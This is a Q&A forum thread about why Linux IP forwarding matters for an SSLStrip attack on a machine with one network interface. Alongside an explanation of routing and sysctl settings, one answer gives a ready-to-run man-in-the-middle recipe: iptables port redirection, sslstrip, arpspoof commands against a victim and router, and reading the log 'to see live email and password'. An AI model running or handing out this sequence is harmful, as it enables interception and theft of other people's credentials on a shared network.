In the SSLStrip attack, one has to enable IP forwarding using the command :

echo 1 > /proc/sys/net/ipv4/ip_forward

I understand this command enables the host to work as a router forwarding packets between two networks. Here is my confusion. How come we can configure IP forwarding when we have only one network interface? I only have eth0 on my box; how is this supposed to work?

Does forwarding work when we have just one interface? SHouldnt we have two?

  • 3
    What is "SSL Strip Attack" and how it relates to forwarding? Please be more specific and describe your setup in a very detail so people can help you without constant pulling information. – user140866 May 30 '16 at 4:09
  • There is more to it than the answer provided, however Unix&Linux is not the place for it. I would suggest "Information Security" in stack exchange. – Rui F Ribeiro May 30 '16 at 8:48

You are confused because you're considering only the network to which your NIC (eth0 in your case) is physically attached. However, your machine can reach many more networks.

Enabling IP forwarding on your machine tells her, when she receives a packet not destined to her, to forward it to the destination (or, better, the next hop) instead of dropping it. In this case, your machine works as a gateway to that specific destination.

root@kali# echo 1 > /proc/sys/net/ipv4/ip_forward

root@kali# iptables -t nat -A PREROUTING --dport 80 -j REDIRECT --to-port 1000

root@kali# sslstrip -a -l 1000 -k

Now in a new terminal write

root@kali# arpspoof -i eth0 victimip routerip

and in a new terminal write

root@kali# arpspoof -i eth0 routerip victimip

and another terminal should write to see live email and password

root@kali# tail -f sslstrip.log

Remind: All terminals must be not closed.

The output number 1 indicates that the IP forwarding is enabled. The above value is read from the Linux proc file system and more precisely from the actual file /proc/sys/net/ipv4/ip_forward file:

# cat /proc/sys/net/ipv4/ip_forward

To disable IP forwarding on a running Linux system run:

 # echo 0 > /proc/sys/net/ipv4/ip_forward

The above change is not reboot persistent. To permanently disable the IP forwarding on your Linux system edit /etc/sysctl.conf and add the following line:

net.ipv4.ip_forward = 0

The procedure to enable IP forwarding in Linux is the same as the above procedure to disable it, but instead, we use number 1 to turn IP forwarding ON.

# echo 1 > /proc/sys/net/ipv4/ip_forward

To make the change permanent insert or edit the following line in edit /etc/sysctl.conf:

net.ipv4.ip_forward = 1

I you enable port forwarding, I can configure your machine IP (on eth0) as my gateway, and send you packets. You will forward these packets to their destination if iptables FORWARD chain accept them.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.